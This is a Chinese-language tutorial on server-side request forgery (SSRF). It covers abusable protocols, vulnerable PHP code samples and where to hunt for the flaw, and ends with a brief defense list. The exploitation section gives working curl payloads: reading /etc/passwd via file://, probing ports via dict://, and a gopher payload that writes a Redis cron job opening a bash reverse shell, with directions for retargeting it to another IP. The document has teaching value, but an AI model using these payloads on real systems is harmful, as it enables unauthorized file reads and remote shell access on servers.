什么是 SSRF ?
简介:SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
SSRF危害即可以实现的攻击行为
- 主机本地敏感信息读取, 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的
Banner
信息 - 攻击运行在内外网主机的应用程序
- 通过访问默认文件对内网
Web
应用进行指纹识别 - 攻击内外网的
Web
应用,主要是使用GET
参数就可以实现的攻击 - 利用
file
协议读取本地文件
可进行利用的协议
FILE 读取服务器上任意文件内容
IMAP/IMAPS/POP3SMTP/SMTPS 爆破邮件用户名密码
FTP/FTPS FTP匿名访问、爆破
DICT 操作内网Redis等服务
GOPHER 能够将所有操作转成数据流,并将数据流一次发出去,可以用来探测内网的所有服务的所有漏洞
TFTP UDP协议扩展
使用curl -V
命令可以查看Ubuntu 16.04
版本下默认的libcurl
支持的协议
PHP中容易造成漏洞的函数
curl_exec()
file_get_contents()
fsockopen()
漏洞利用
- 本地利用
利用方式
- 利用file协议查看文件
curl -v 'file:///etc/passwd'
- 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'
- 利用gopher协议反弹shell
curl -v 'gopher://靶机ip:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
更换IP和端口时,命令中的$58
也要更改,$58
表示字符串长度为58个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a
,3+51+4=58。如果想换成42.256.24.73
,那么$58
需要改成$61
,以此类推。
注:Windows下使用curl
命令需要把单引号换成双引号
- 远程利用
例 1
ssrf.php
(未做任何ssrf防御)
<?php
function curl($url){
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
$GET_['url']
可控,从而可以发送任意请求站点,构成ssrf
漏洞
利用方式
# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
例 2
ssrf2.php
限制协议为HTTP、HTTPS
设置跳转重定向为True(默认不跳转)
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
此时使用dict
协议已经不成功,可以利用302跳转
的方式来绕过http协议限制
漏洞寻找
分享功能,通过 URL 地址分享网页内容
早期分享应用中,为了更好的提供用户体验,WEB应用在分享功能中,通常会获取目标URL地址网页内容中的<tilte></title>
标签或者<meta name="description" content=“”/>
标签中content
的文本内容作为显示以提供更好的用户体验
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务
在线翻译:通过URL地址翻译对应文本的内容。
提供此功能的国内公司有百度、有道等
图片加载与下载:通过URL地址加载或下载图片
图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)
图片、文章收藏功能
此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title
以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载
从URL关键字中寻找
share,url,link,src,source,target,sourceURl,imageURL,domain...
未公开的api实现以及其他调用URL的功能
此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xml文件来加载内容。
其他
数据库内置功能,比如mongodb的copyDatabase函数
接收邮件服务器地址的邮件系统
漏洞防护
- 限制协议为HTTP、HTTPS
- 限制302跳转次数
- 统一错误信息
- 限制内网IP
参考链接:
https://joychou.org/web/phpssrf.html
http://www.mottoin.com/tech/115007.html
https://feei.cn/ssrf
https://www.jianshu.com/p/24ca56a2f5f5